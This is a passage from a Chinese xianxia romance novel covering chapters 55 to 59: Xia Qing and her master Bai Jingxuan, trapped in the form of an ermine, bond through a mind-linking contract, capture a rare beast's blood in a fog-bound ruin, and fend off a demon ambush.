“这算是,赢了?”夏清惊魂未定。 白镜玄垂眸,惨白的脸上露出一抹淡淡的微笑:“多亏了清儿。” 夏清素有自知之明,不敢领那么大的功。 幸而她们击退了幻妖,也就保住了白镜玄的肉身,夏清狠狠松了一口气,提起的心也落回肚子里。 直到此时,夏清才有闲暇好好观察此地环境。 不论仙人还是修士,识海都是一个人底层潜意识的形态。 白镜玄的识海,竟然长这个样子,如此颓败荒芜。 说起来,她好像还没有见过自己的识海。 夏清思绪游走,兀自愣神,忽然肩膀一沉,身侧那人贴近她,将脑袋倚靠在她肩膀上。 “累了?”夏清问她。 白镜玄似连颔首的力气都没有,只气若游丝地轻哼一声:“嗯。” 夏清保持着站姿不动,好让白镜玄靠着:“那你歇会儿。” “刚才那样都不能杀死这只幻妖?”夏清询问。 许久,没有听见回应。 她微微侧头,视线下移,见白镜玄双眸紧闭,好像睡着了。 合上眼时,那双清寒美眸中淡淡的凉薄被悄悄藏起。 她今日脸色过分白皙,眉目间的疲惫强掩不住,夏清心口微涩,终究还是心疼的。 但她觉得,她对白镜玄的感情,应该还没有到爱的阶段。 尽管,她们有暧昧,有试探,但更多的还是命运洪流碾过时留下的愧疚与无奈。 夏清从来没有设想过,有朝一日,她竟能体验这般极俱宿命性的情感。 “为什么要叹气呢?”耳边,白镜玄浅浅低语。 夏清侧了侧眼,意外:“你还醒着?” “若睡着了,不就瞧不着清儿了?”白镜玄浓密的睫羽颤了颤,而后缓缓睁开,“亦听不见清儿这声轻叹。” 夏清撇开目光,十分羞愧:“是我害了你。” 白镜玄扬起头,望向夏清的侧脸。 夏清正暗自低落,倏而两根手指托起她的下颌,将她的脸颊轻轻拨过去。 一双幽邃的眼眸轻盈地撞进她心底最柔软的地方。 白镜玄红唇轻启,缓声说:“那就……补偿我。” 第56章 第五十六章 白镜玄的声音很低, 温和柔软,像一片羽毛拂过夏清的心。 夏清不自觉被这声音蛊惑,愣怔间, 那双色泽浅淡的薄唇便印在她的唇上。 这一吻很用力, 一开始只是轻轻触碰, 而后越来越深。 白镜玄的牙齿嗫咬夏清的嘴唇, 像要把她拆掉似的,一厘厘深入, 湿滑柔软的舌尖在不断的交错嬉戏中变得滚烫炽热,似要勾走她的魂魄。 元神与元神的触碰,拉扯, 带来和肉身交互截然不同的感受。 魂体是人身的五感之源, 属于肉身的每一点微小感受最终都会汇聚到元神之中。 脱离了身体上亿神经元的束缚,魂魄的敏感度以成百上千的倍数往上叠。 只是一个吻,竟让夏清灵魂战栗, 意识轻飘飘地飞上云端。 她想躲,但白镜玄不许,强势地将她牢牢按在怀里。 这一个拥吻,让她们重合的魂魄交叠融合。 夏清大脑阵阵发白, 没有空闲思考,方才那么虚弱的人,怎么这么快就恢复体力。 好不容易白镜玄放松了力气,夏清第一反应就是逃走。 白镜玄才刚松开她唇, 便见眼前闪过一抹流光,怀里的人凭空消失。 夏清像个受惊的小兔子, 嗖地一下跑没影了。 “怎么这么不经逗。”白镜玄语气中夹带笑意,喃喃低语。 夏清倏然睁眼。 眼前的景象又一次发生改变。 她此刻尚身处荒废的遗迹, 与柳菡云一起帮助白镜玄度过危机。 心跳快得不像话,夏清定了定神,渐渐平复呼吸,也因此冷静下来,明白她的元神已经回到自己的肉身之中。 不知道她昏迷了多久,元神在识海之中,是否与肉身共享一个时间维度? 抬头,撞上一双明朗如星空的眼眸。 柳菡云紧紧盯着夏清,一脸担忧:“师妹,你还好吗?契约顺不顺利?你的脸好红,该不是受伤了?” 夏清下意识摸摸自己的脸,果然很烫,烫得有点不像样。 回想起方才那个吻,夏清脸又红了许多。 正因为只有自己知道脸红心跳的原因,夏清愈发窘迫,而越窘迫,她的脸就越红,而且不光脸红,脑袋上也开始冒出一阵阵白烟,像是随时要晕过去似的。 柳菡云大惊:“师妹!” “我没事。”夏清急急摆手,试图解释,“可能消耗了一些元气,所以体力不支。” 这话听在柳菡云耳中倒是没什么问题,但夏清自己却因为心虚感觉越抹越黑。 她抱着小雪貂起身,赶紧转移话题:“已经没事了,幻妖被重新镇压,封印也修复了,我们速速离开,去找奇兽之血。” 柳菡云见夏清还能站起来,说话条理也算清晰,应该当真没什么问题,这才放心。 遂点头道:“好。” 再次走上缓坡,踏过废弃遗迹内外的分界线时,夏清吃一堑长一智,心头警醒,注意着天空中雷云的动向。 好在这一次幻妖安分,没有再引来天雷。 夏清真的和异兽缔结了道侣契约,柳菡云对此犹自感到难以置信。 眼看着夏清情绪平复,小雪貂状态也调整过来,柳菡云试探着问:“师妹,你可想过之后如何向峰主交代?” “嗯?”夏清一时间没反应过来柳菡云的意思,“交代什么?” 柳菡云朝她怀里的小家伙抬了抬下巴:“伴侣契约。” 夏清是白镜玄的弟子,而且颇受白镜玄宠爱,别人多瞅夏清一眼可能都会被白镜玄狠狠教训。 若夏清契约了一只异兽这件事被白镜玄知晓,白镜玄的怒火恐怕能将紫霄峰都烧成灰烬。 夏清一时语塞。 先前小雪貂状态危急时,她曾想过向柳菡云坦白真相。 但眼下危机已除,再开口已不合时宜,夏清只好胡乱说道:“没事,我自会向师尊解释。” 柳菡云心说这难道是解释就能说清的事情吗?道理谁都明白,可白镜玄接不接受是另外一回事。 可夏清过分乐观,仍不明白此事的严重性,柳菡云担忧亦是无用。 荒古遗迹中恶兽颇多,夏清与柳菡云二人在寻找奇兽途中,不停遭遇荒兽袭击。 她们两个外来人的气息过于鲜明,从踏进荒古遗迹那一刻就被穷凶极恶的荒兽们顶上,无论她们走到哪里,都会有接连不断的荒兽拦路。 好在夏清和柳菡云已经汇合,她们落单或许战力不足,但两人联手,一路走来过五关斩六将,披荆斩棘抵达遗迹深处。 遗迹中不知何时开始起雾。 雾气太浓,夏清和柳菡云不敢分开太远,彼此看顾着对方的后背,小心翼翼在浓雾之中移动。 “雾海。”柳菡云边走边说,“这与师妹先前描述的场景很是相像。” 夏清点点头:“已经很近了。” 圣女让夏清来荒古遗迹寻找奇兽时,曾描述过此兽的样貌、习性和栖息环境。 听说那是一种长得像麋鹿的兽,看似人畜无害,实则凶恶残暴,常以其温和的面貌诱骗猎物主动攻击。 一旦它判定对手太强,没有把握获胜,立即就会施展天赋技法逃生。 这种异兽生长在荒古遗迹一片雾海之中,似乎也与上古大战有些渊源,但只在传说中对其有三言两语的描述。 夏清手握福生鼎,很有把握生擒此兽,她们也不是非要取对方性命,只要能顺利取到兽血,并非一定要和它斗个你死我活。 浓雾遮蔽的地面越来越潮湿,原本荒芜的大地在靠近雾海中间的位置时,竟长出一些小草,收敛了她们的脚步声。 雾中自然也藏有精怪。 某时,夏清耳朵捕捉到雾海翻滚的声音。 她毫不犹豫侧身闪躲,只见一只黑白相间的鸟儿擦着她的耳廓飞过,一瞬* 间又没入浓雾之中。 柳菡云迅速朝夏清跟进一步,看眼那鸟儿飞走的方向,蹙眉道:“这种食腐飞禽越来越多,你我都要小心。” 夏清自然也明白,天上飞的可比地上跑的难对付。 她们只能自己提高警惕,不让这些荒兽近身。 继续往浓雾中推进,待她们二人背影渐渐隐入雾气之中,方才她们走过的地方,缓缓出现一头麋鹿。 它在草地上散漫从容地踱步,不时低头啃食野草,不多时又如幻影般消失。 夏清和柳菡云在浓雾中待了数日,搜寻没有丝毫进展。 许多法子都试过了,无一凑效,就连夏清惯用的那只小灯笼也追踪不到麋鹿形态的奇兽足迹。 随着时间一天天过去,柳菡云有点失去耐心:“这雾海中真有圣女说的奇兽?” 夏清同样为此感到迷茫,如果圣女给她们的情报本身就有问题,她们自然寻不见那所谓的奇兽。 可如果,圣女所说的奇兽不存在,白镜玄身上的毒素又该如何解? 想到这个可能,夏清心中不安,她宁愿相信那奇兽存在。 否则,她们耗费诸多时日,便是白费功夫。 “再找找。”夏清沉声,“奇兽之所以为奇兽,就是因为它稀有,哪里是那么容易找到的?” 柳菡云闻言,点点头:“也是这么个理儿。” 又过两日,夏清和柳菡云在草地上停下休息时,小雪貂醒了。 夏清第一时间发现。 当它从夏清怀里探出脑袋,夏清喜不自胜:“卿卿!” 柳菡云被夏清的呼声吸引注意,回头看见那小貂儿在夏清怀里换了个更舒服的姿势。 它那只玉质的小爪子使不上劲儿,因此无法独自爬上夏清的肩膀,只能由夏清将它抱着。 好在夏清也不烦它,将它抱在怀里,半分怨言也没有。 柳菡云凑近来瞧一瞧,忽然开口:“小貂儿,你既会如此复杂的封印法术,想必道行也不低了,见识应该不少,你可有找到那奇兽的法子?” 小雪貂圆溜溜的眼珠子忽闪忽闪的,夏清笑话柳菡云:“你问它做什么?” 虽然白镜玄是懂得很多,但她现在是小貂儿的身子,根本不会讲话,柳菡云之前误解它的意思吃过的亏已经堆了一箩筐,竟然还不吸取教训。 可下一秒,夏清脑海中响起白镜玄的声音:“它就在附近。” 夏清闻言一愣,诧异地看向小雪貂。 一时间,不知该为白镜玄的话语声钻进她脑子里惊讶还是为奇兽当真存在而惊喜。 柳菡云发现夏清神色异样,问她:“这小家伙是不是说什么了?” 夏清愈发惊愕:“你怎么知道?” 柳菡云颇为得意地勾起嘴角:“我虽然没与人结过契约,但古籍上的知识背了不少,伴侣契约可将双方元神相连,因而可以通过神识直接交流沟通。” 夏清眨眨眼,抿唇在心里默念:真的吗? 片刻后,白镜玄的声音再次响起:“确是如此。” 夏清微微发蒙,心想:白镜玄能听到她的心声,那她岂不是一点秘密都没有了? 这念头刚划过脑海,夏清便反应过来,遭了! 果然,白镜玄的声音悠悠响起:“你有什么秘密?” 夏清心虚,放空大脑不再思考。 见夏清久久不回答,柳菡云追问道:“它到底说什么了?” 夏清不得不接受这个崭新的设定,并与柳菡云分享白镜玄的回答:“那奇兽就在附近。” 柳菡云立马喜上眉梢:“那太好了,我们快快行动!” “等等。”夏清及时叫住柳菡云,将余下部分复述,“貂儿还说,我们已经打草惊蛇,对方不会那么容易现身,需另想办法。” 这是白镜玄的原话,原来她们深入浓雾这段时间,一举一动包括她们彼此交流说的每一句话都在对方感应之中。 她们太大意了。 第57章 第五十七章 柳菡云也没想到会如此, 她们在这浓雾中白白耗费许多时间,原来一早就被那奇兽发现了。 这阵子,她们或许曾有能见到此兽的机会, 但她们没有抓住机会。 “这下该怎么办?”柳菡云蹙眉追问。 夏清先听白镜玄怎么说, 然后复述:“还有别的办法, 但我们不能用言语沟通。” 柳菡云愕然:“那……” 夏清摆了摆手打断她说话, 随即左手一翻,自袖中取出一张黄符, 提笔将办法写在黄符纸上。 这法子并不复杂,不过是要让她们闭嘴不再通过说话的方式来传递信息。 因为那奇兽耳朵很灵,只要她们开口, 捕捉计划就会被泄露。 再者, 那奇兽跟踪她们一路,一直在旁伺机而动,显然是把她们也当成猎物。 对方对她们感兴趣, 那么事情就好办许多。 只要她们设法隐藏自身气息,待对方无法通过气息追踪,到嘴的猎物消失不见,那奇兽自然会失去方寸, 说不定会突破先前的行动规律,从而踏入她们的陷阱,暴露弱点。 言简意赅阐明原委,夏清将黄符交给柳菡云看一眼, 待柳菡云阅罢,她问:“明白了吗?” 柳菡云一脸恍然, 点头回答:“明白了。” 夏清反手便将此符烧掉。 接下来一段时间,夏清和柳菡云都闭口不再交谈。 但那奇兽已有较高灵智, 她们一直不说话也会引起对方怀疑,于是在白镜玄的提醒下,夏清时不时和柳菡云搭两句话,只不过这些话语的内容是故意修饰过的。 换句话说,她们只要开口,就不讲真话。 至于气息的掩藏……柳菡云会一种能藏匿自身气息的法术,但对修为有一定的要求。 而夏清自己,则想到了先前白镜玄给她的那张面具。 她与柳菡云对视一眼,从彼此的眼神中瞧出默契。 计划已经足够周密,万无一失。 小貂儿趴在夏清怀里,酸得直冒泡。 她们寻到一个适合用于抓捕奇兽的场所,夏清戴上面具,柳菡云则施展法术隐藏气息,结束之后,立即移动,在附近找地方藏起来。 雾气浓郁的地方,哪儿都能躲。 夏清和柳菡云安静等待。 不知是不是天空中云层变厚的缘故,夏清感觉脸色更暗了一些。 某时,夏清脑海中响起白镜玄的声音:“来了!” 夏清精神一震,手肘怼一下柳菡云。 柳菡云下意识再伏低一些,双眼则一眨不眨盯着不远处的空地。 不多时,那雾气浓郁的空地中央,果然显现出一头麋鹿形态异兽的轮廓。 它头顶上长着一对硕大的鹿角,眼睛居然闪烁红光。 隔着数丈远的空间,那对血红色的眼眸扫过来,夏清没由来感到一阵心悸。 身侧,柳菡云倒吸一口气。 因为不能出声,她只能捏一下夏清的手臂以作提醒。 这只奇兽的修为很高! 它的实力远远超过夏清最先遇见过的螳螂怪,也超过她们曾一同战胜过的石头巨人和沼泽底下的巨灵。 唯一能在气息上与这奇兽媲美的,恐怕还数那只幻妖。 若这奇兽的实力当真达到了幻妖那种水平,只怕是她们两个联手也捉不到它。 她们不敢轻举妄动。 夏清急急在心中询问白镜玄:怎么办?它好像很厉害。 奇兽修为太高,福生鼎品阶不够,她们用尽手段也很难限制对方行动。 一旦让此兽应激逃走,再想找到它就难了。 白镜玄沉吟须臾,回答她:“你说服柳菡云让我咬一口。” 夏清:“……” 这可太难了。 且不说她能不能给出合理的理由劝服柳菡云,就是在这说服的过程中,不知会不会闹出动静,引起那奇兽注意。 夏清左想右想,没有主意。 白镜玄的声音再次响起:“再不出手,它就要走了。” 夏清猛地咬牙,为了白镜玄,她就豁出去了! 柳菡云肩膀被夏清拍了拍,想是夏清有话要说。 扭头,嗡—— 一张黄符贴到柳菡云脑门上。 她两眼一翻,悄无声息地晕过去。 在身子歪倒落地发出异响之前,夏清伸手托住她的胳臂,心里默念好几声对不起。 小雪貂从夏清怀里探出半个身子,一口咬住柳菡云的手腕。 荒古麋鹿正在空地中间踱步,突然成千上万的剑光从天而降,噔噔噔刺入它身外一圈泥地,将它前后左右所有可活动的空间全部封死。 它大受惊吓,迅速对当前局势做出判断:来者不善,而它绝非对手。 因此它没有丝毫恋战,竟转头冲向密集的剑光。 眼看此兽就要一头撞上剑网,忽然间,它身影一晃,庞大的身躯竟然幻化为三只蝴蝶,穿过剑与剑的空隙之后又迅速变幻为黑白相间的鸟儿,朝三个不同的方向飞去。 白镜玄的剑虽然快,但她修为受限,见此情形,只能择一而追。 夏清见状,心念电转。 数三,在先天卦象中为离卦。 她毫不犹豫,脱口而出:“向南飞的那只是真的!” 话音落下的同时,白镜玄手边剑光飞攒而出,织成一张比刚才更密更大的网,扑向向南飞走的那只鸟儿。 不远处的天边传来一声惨叫,黑白相间的食腐鸟翅膀受伤从空中跌落。 剑光包裹的那团雾气卷动翻滚,眨眼间又变回荒古麋鹿的模样。 它的腿已被白镜玄剑气所伤,伤口涌出一股鲜血。 白镜玄探手一招,鲜血汇成一缕,再结为血滴,被白镜玄收入一枚小瓷瓶。 采血结束,白镜玄收回剑光,那荒古麋鹿摇晃起身,虽不明白为何来人没有取它性命,但它没有任何犹豫,调头就跑。 那麋鹿身影钻入浓雾,夏清已无暇管它。 她迅速奔回白镜玄身边,看着白镜玄手中的小瓶喜上眉梢:“成功了!” 有白镜玄出手,取血的过程比预想中顺利,她们拿到奇兽之血,就可以回程找圣女制作解药。 白镜玄身上的毒有解了! 夏清万分惊喜,没忍住一把抱住白镜玄:“你真的太厉害了!” 身上重重debuff叠满都还如此可靠。 带着白镜玄做任务,简直就像开了外挂,夏清只管带小貂儿进副本,其它的交给白镜玄。 猝不及防被夏清抱了个满怀,白镜玄反倒愣住。 夏清如此热切明媚的情绪表达不常有,可见拿到兽血她的确发自内心的高兴。 白镜玄任由她抱着,眼神柔软,眉目温和:“原来清儿竟这般关心我。” 夏清听了这话,意识到自己的情绪好像过于外放,当即又有点难为情。 但对上白镜玄静谧悠远的双眼,她轻轻抿唇,想起白镜玄偷听自己的心声,便故意说道:“你若觉得我不必担心,那我以后就不关心你了。” 这话简直莫名其妙,白镜玄倏地睁大美眸。 见夏清说完就松开手要退开,白镜玄迅速伸手拦腰搂住,不让她走。 “若清儿都不关心我了,还有谁会关心我呢?”白镜玄深情款款凝望夏清的眼睛,“我自然希望清儿时时都能将我系在心上。” 哎哟,这貂精简直比狐狸精还勾人。 夏清一颗小心肝儿扑通扑通跳个不停,令她脸颊不由自主又染上两分绯色。 她移开目光,不与白镜玄对视,语气局促:“知,知道了,关心你就是了,快松开我。” 白镜玄不肯松手,甚至语气中还带了点不高兴:“清儿怎这般敷衍我?” “我哪有敷衍你?”夏清被某个黏糊糊的人打败了。 白镜玄该不会还以为自己是她抱在怀里的小貂儿吧?别说,白镜玄向她撒娇的样子,还真和那貂儿有些相像。 “你就是在敷衍我。”白镜玄不高兴,还想收收拢胳臂抱得更紧一点。 周围虽然雾气蒙蒙,但不知道柳菡云什么时候会醒,保持如此亲密的拥抱姿势,夏清有点难为情,于是本能地推拒。 便在此时,耳边响起一声痛哼。 夏清:“!” 白镜玄眉头轻蹙,刚才那一声轻吟来自她紧抿的薄唇。 “怎么了?!”夏清急了。 问出这话时她忽然想起白镜玄左侧胳臂因为封印了幻妖而呈玉质状态,本就使不上劲儿,难道那封印还会痛? 夏清赶忙寻找白镜玄受伤的那条胳臂,却被白镜玄又一次拥紧。 温热的呼吸吹拂夏清耳廓,带来白镜玄略带笑意的话语声:“清儿嘴上说不关心我,但心里可不这么想呢。” 夏清:! 她又偷听! 没等她再有反应,身后不远处,忽的传来其他动静。 柳菡云一脸懵逼翻身坐起:“师妹,我刚才好像听见了峰主的声音?” 夏清将小貂儿往怀里揣了揣,镇定自若地清了清嗓子:“没有啊,你肯定是听错了。” 第58章 第五十八章 “哦, 听错了。” 柳菡云不疑有他,神色懵懂地抓了抓后脑勺。 这一动,感觉胳臂某处异常疼痛, 抬起胳臂一瞧, 哇, 又是熟悉的四个血洞。 那只掉毛雪貂跟她到底什么仇什么怨, 为什么老是对她进行针对性打击? 柳菡云拍拍衣服上的草屑站起来,瞧见不远处一片朦胧的空地, 后知后觉想起来她们好像还有作战任务。 “哎呀!”柳菡云一拍脑门,“夏师妹,那奇兽逃走了?” 没等夏清回答, 柳菡云便继续自言自语地说道:“太诡异了, 我怎么莫名其妙突然晕到,难不成是那奇兽的妖法?” 夏清决定让奇兽背锅,面不改色地回答:“我也跟师姐一样晕倒了, 但我比师姐早一些醒过来,那奇兽已经逃脱,不过,貂儿与它一战将其抓伤, 收集了一些兽血,应当够用了。” 话音落下,心里忽然响起一个声音:还挺会说谎。 夏清有种被窥破的心虚感,虽然明知白镜玄说的是她当下这句话, 但总觉得好像意有所指。 这念头一闪,白镜玄的声音再次浮现:意有所指……什么? 夏清:…… 她决定不理会, 只当没听见白镜玄在她心里嘀嘀咕咕,同时也努力控制自己的思绪, 不要胡想瞎想。 柳菡云听夏清说完,一脸震惊,注意力落在夏清怀里的小貂儿身上。 夏清略感忐忑,也不知道她胡乱给出的理由柳菡云会不会信。 “又是小貂儿的功劳!”柳菡云一惊一乍,“你这小家伙到底什么来头!” 前有小貂儿封印幻妖,后有小貂儿击退奇兽采血,它不仅熟悉奇兽习性,还懂得怎么使用临时契约。 所有条件加在一起,柳菡云实在难以想象它的来历。 夏清随随便便一捡就捡到这么大个宝贝! 白镜玄当然不会回答柳菡云,夏清也装作不知情,迅速转移话题:“既然奇兽之血已经拿到,我们就尽快离开这里。” 柳菡云点头,从怀里摸出一张传送符。 这是天同洲湘忆颜洲主为洲内弟子特制的防身法物之一,在空间外某个位置设立锚点,只要驱动传送符,就能进行空间移动。 传送符移动范围比较小,只能在主世界与其附属空间之间移动,无法跨越界面。 也就是说,使用传送符能从荒古遗迹回到蛮荒,但无法从蛮荒回到仙界。 柳菡云抓住夏清胳臂,燃烧传送符。 小雪貂顺着柳菡云的动作看向她抓住夏清的那只手。 跳跃的火光将那明黄色的符纸缓缓吞噬。 当最后一簇火苗随风熄灭,夏清和柳菡云保持并肩而立的姿态站着。 一动不动,无事发生。 空间传送的感觉并未出现。 夏清看向柳菡云,而柳菡云一脸懵逼。 “怎么了?”夏清问她,“为何不走?” 柳菡云:“……” 她满头大汗了。 “传送符,好像失效了。”柳菡云抓耳挠腮,为这个致命的失误惊慌失措。 夏清:“……” 这是不是意味着,她们回不了蛮荒了? 她正等着白镜玄接她的话,不料识海中突然传来一声断喝:“小心!” 夏清脑子嗡一声响。 下一瞬,雾气翻滚扭动,显出一道黑影。 干枯的手掌拍在柳菡云胸口,只一刹,柳菡云倒飞出去,腾空跌了几丈远。 其速度之快,夏清根本没看清它如何出现。 但本能的求生欲激发了她肉身的潜力,柳菡云被拍飞的瞬间,夏清迅速抽身飞退。 那黑影爪子一捞,捞了个空,其指尖锋利的指甲刮着夏清手臂过去,刺啦一声,留下一条鲜血淋漓的伤口。 黑影调转身形扑向夏清,熟悉的恐怖感充斥夏清四肢百骸。 几乎一刹那,夏清便发现,这突然现身的黑影就是上次抓了她审问的魔族人。 他是来干什么的?抓她,还是要趁机杀死白镜玄? 这念头划过脑海之际,夏清第一时间念了一遍净心诀。 她将脑海中的念头清扫一空,不以大脑做任何言语性的思考,以太上感应真言取代内心杂七杂八的想法,专注眼前的战斗。 黑影一击没有得手,没有犹豫迅速追来。 夏清当机立断,以意念呼唤白镜玄:“你速速抽调我体内的法力,我和师姐毫无胜算!” 黑影魔爪已追至夏清跟前,伸手要抓她怀里的小貂儿。 便在这时,貂儿忽然张嘴咬住夏清手掌。 夏清疼得闷哼一声,踉跄后退的身体立马变得虚弱,体力不支。 剑光骤起,唰唰刺向黑影。 那黑影不料白镜玄还能以这样的方式短暂恢复肉身,愣怔之时,剑气已然临身。 电光石火之间,他抽身飞退,避开了大部分剑气,但紫霄剑诀剑气又多又密,躲得开一剑,又岂能剑剑都躲开? 一束剑光追着他来,速度比他撤退快得多,只一眨眼,那剑气已至近前,眼看就要刺进他的咽喉。 危机临身,大祸当前,他心念电转,反手扔出一枚暗器,直取夏清眉心。 夏清体力已被抽调一空,歪倒在地没有闪躲的余力。 白镜玄果然走神,刺向他咽喉的剑气偏移最初轨迹,擦着他的脖子非过去,将他肩颈相接之处划开一道存许深的伤口。 而白镜玄自己,看也没看剑气是否诛杀魔人,只以最极限的速度追上暗器,两指将它钳住。 暗器最终还是悬停于空,在夏清眼前顿了须臾,随即被白镜玄两根手指挑开。 那暗器唰唰飞远,白镜玄落地再回头,突然偷袭她们的魔人见不是对手,已顷刻间逃得不见踪迹。 不远处,柳菡云从地上爬起来。 挨了那魔人一掌的胸口感觉特别痛,可能肋骨断了两根。 但她胸口再痛,也不及那一席素白衣衫映入她眼帘带来的震撼。 柳菡云当场宕机:“峰,峰主?” 白镜玄斜眸,视线自她身上一掠而过,但没搭理她,转头在夏清面前蹲下。 夏清这一把吓得不轻,但法力耗尽之后,她仅剩的理智仍让她本能地绷紧神经,不敢有一丝一毫懈怠,唯恐什么不该说不该想的内容不经意间蹿过脑海。 正因为此,她看起来有点呆,白镜玄伸手轻抚她的脸:“清儿?” 听见白镜玄的声音,夏清这才回神,扭头与身前关切凝望她的美人对视,木讷开口:“你没有受伤吧?” 到了这个时候,夏清还顾念着她,白镜玄颇为动容,将夏清从地上扶起来,温声软语地回答:“我没事,你呢,可有伤到哪里?” 夏清摇了摇头表示自己没事。 随即,她看向方才魔人撤退逃跑的方向,感觉自己方才鬼门关前走了一遭。 柳菡云也已来到近前,看向白镜玄的眼神充满诧异。 但紧接着,她诧异的眼神变作惊疑,警惕。 迎着白镜玄疏冷的目光,她太多疑问憋在心里。 忽然,不知想到什么,柳菡云突然上前拽住夏清的胳臂,将夏清拉离白镜玄。 夏清诧异:“师姐?” 柳菡云将夏清护在身后,小声问她:“峰主……是貂儿变的?” 夏清点了点头,正要向柳菡云解释,白镜玄是因为中了毒才会异化,变成小雪貂,柳菡云却打断她:“师妹,你勿要轻信此人,我怀疑她是幻妖所化!” “!”夏清陡然一惊,“真的吗?” “貂儿又没见过峰主,怎么可能幻化为峰主的样子?”柳菡云紧锁眉头提醒夏清,“这幻妖乃是荒古大妖,说不定曾在神魔大战上见过峰主,故意幻化为峰主的模样来蒙骗你我!” 她言之凿凿,笃定刚才不知不觉间,幻妖将小貂儿的肉身占据了,此刻又谎话连篇,要诓骗夏师妹。 夏清:“……” 她很想劝柳菡云,如果脑子不好使,就不要勉强动脑思考。 柳菡云好不容易长了心眼儿,条理清晰一回,结果从最底层那一步开始就错了。 夏清越过柳菡云的肩膀看向白镜玄。 果然见白镜玄眼底已聚起一片薄薄的愠怒,若柳菡云再不让开,不知道恋爱脑属性点满的白镜玄会有什么反应。 夏清及时推开柳菡云:“师姐,你误会了,师尊就是貂儿,并非幻妖所化。” 说着,她从白镜玄在祭司殿与异兽交手受伤开始,将白镜玄意外化作小雪貂的经历和盘托出。 柳菡云死机了。 夏清说完,久久没有回复。 她与白镜玄漠然的眸子对视一眼,尴尬地清了清嗓子:“师姐?” 柳菡云眼里神采已经消失。 她呵呵笑两声,又突然嘿嘿发出怪声。 怕是得了失心疯,即将走火入魔了。夏清捂脸,有种不知所措的无力感。 便在此时,白镜玄的声音响起:“我来。” 夏清如蒙大赦,立马退两步,将柳菡云交给白镜玄。 白镜玄行至柳菡云跟前,掐了个手诀,指尖泛起亮荧荧的白光。 倏然,她反手一点,白光没入柳菡云额前。 不多时,柳菡云空洞的双眼恢复神采,意识回归。 不期然与白镜玄四目相对。 “啊!” 她触电似的捂住自己的胸口,直挺挺地倒下,脑袋一歪,不省人事。 夏清:“!” 白镜玄面不改色,淡淡道:“本座数三声,给你一个认错的机会。” “三,二……” 柳菡云刷地“诈尸”,一个滑跪扑倒在白镜玄脚边:“峰主大恩大德,弟子知错,请峰主宽恕弟子有眼不识泰山,弟子以后再也不敢了!” “行,原谅你。”白镜玄语气波澜不惊。 柳菡云长出一口气,夏清也意外白镜玄今天居然这么好说话。 可随即,白镜玄话锋一转:“从现在起,分两队走,本座与清儿回圣宫,你自去寻金灵草。” 夏清:“……” 果然这才是白镜玄。 第59章 第五十九章 不等柳菡云回答, 白镜玄袖袍一挥,空间移动的熟悉感笼罩夏清。 转眼间,天地之景骤变。 金灿灿的阳光铺满光秃秃的戈壁, 抬头所见, 则是万里无云的晴空。 这是雾云滚滚的荒古遗迹中不可得见的明朗景色。 眨眼之间, 她们已经回到蛮荒。 夏清胳臂一沉, 方才还在柳菡云面前耀武扬威的人,这会儿已再次受毒素影响变回了小雪貂。 说起来, 柳菡云呢? 夏清左右瞧了瞧,不见柳菡云踪影。 识海中响起白镜玄的声音:“你在找柳菡云?” “你该不会没把她带出来吧?”夏清虽然觉得这样的可能性很小,但以白镜玄的性情, 似乎并非做不出来。 白镜玄不答反问:“清儿就这么在意你的柳师姐?” 这话语中酸溜溜的感觉藏都不藏了, 夏清龇了龇牙:“你明知道我不是这个意思。” 怀中,小雪貂睨她一眼。 与此同时,识海中, 白镜玄的话语声再次响起:“那你是什么意思?” “师姐手中传送符好像失效了。”夏清坦白说道,“这荒古遗迹凶险莫测,她若独自留在其中,只怕难以回来。” 夏清确实担心, 小貂儿尾巴悠闲地左摆一下,右摆一下。 片刻后,她不情不愿地松口:“我把她传到另一个地方了。” 闻言,夏清笑开。 白镜玄问她:“你笑什么?” “我笑果然如此。”夏清乐呵呵地说道, “我就知道你不会扔下她不管。” 白镜玄毕竟是白镜玄,就算私下里再怎么跟柳菡云不对付, 对待原则问题,她还是很拎得清。 到底是没有把前辈的风度丢干净。 这个念头划过脑海, 夏清忽然福至心灵,想到什么。 反正她脑子里怎么想的,白镜玄能通过元神听到,她也不隐瞒,脱口问道:“你不让师姐跟着我们,是不是因为身份暴露了,脸上挂不住?” 白镜玄:“……” 夏清笑弯了眼。 太有意思了,谁能想到,堂堂仙尊,是这么个可可爱爱的妙人。 夏清怀里,小雪貂气鼓鼓地甩了甩尾巴。 但她只气了一小会儿,因为夏清笑起来的时候,她脑海中响起一个声音。 可爱。 清儿竟用如此不相符的词汇来形容她。 白镜玄这么想的时候,夏清眼里笑意更深:“哪里不符合,简直就是为你量身定制。” “……”小雪貂将下巴搭在夏清臂弯儿处,毛茸茸的小身子彻底放松。 心想:算了。 既获知柳菡云已经离开荒古遗迹,夏清也放了心。 只不过,如今她和白镜玄缔结伴侣契约之事也被柳菡云知晓了。 至于柳菡云会怎么想,夏清管不了,也无所谓。 当时事急从权,总能有法子糊弄过去,尽快赶回圣宫才是最要紧的。 方才袭击她们的那只魔…… 夏清脑海中刚蹿出这个念头,她迅速觉察并将后续的想法掐灭。 但这半截心声已透过元神传递到白镜玄的识海,夏清没打算开启这个话题,白镜玄却主动提起:“先前圣宫中发现的那只异兽只怕也是此魔搞鬼。” 夏清不欲多聊,只附和地点了点头。 白镜玄兀自思考着,她的心声也持续不断传入夏清识海:“可当初我与他交手时,的的确确确认了他离开圣城,祭司殿内的驱魔大阵丝毫没有感应到邪魔气息,他是用何种手段将异兽送入祭司殿中的?” 夏清额前渗出一层冷汗。 她大脑放空,双眼空洞地盯着脚尖,数脚底下的石子数目。 不管白镜玄说什么,她只当是耳旁风。 眼观鼻,鼻观心,什么也不说,什么也不想。 白镜玄暗自揣摩的声音随风飘远,不知什么时候消失不见。 等夏清回过神来,发现听不见白镜玄的声音了。 她眨眨眼,好奇发问:“怎么没声了?” “你又不理我。”白镜玄语气闷闷的,“原来平日我与你说话时,你都会走神?” 夏清尴尬地清了清嗓子:“我脑子又不灵光,脑袋里面空空如也才是常态。” 白镜玄问她:“当真什么都不想吗?” 夏清:“……嗯,什么都不想。” 这一次白镜玄稍稍沉默,夏清下意识猜想她为什么沉默。 脑子一转,她又意识到自己敏感,迫使自己打消这个念头。 反反复复几次,夏清哂然,发现伴侣契约对她造成的影响似乎对佛门修行很有益处。 该不会她日后真能修到四大皆空。 “四大皆空?”白镜玄语气有点失控,显然是慌了,“你要出家念佛?” 夏清被自己口水呛到。 “不会的。”夏清安慰白镜玄。 白镜玄追问:“那你为什么这么想?清儿与我结成伴侣,却好像很不开心。” “唔……”夏清抿唇。 白镜玄对她的关照可谓无微不至,如今元神相连,则自然更容易感受到她的情绪。 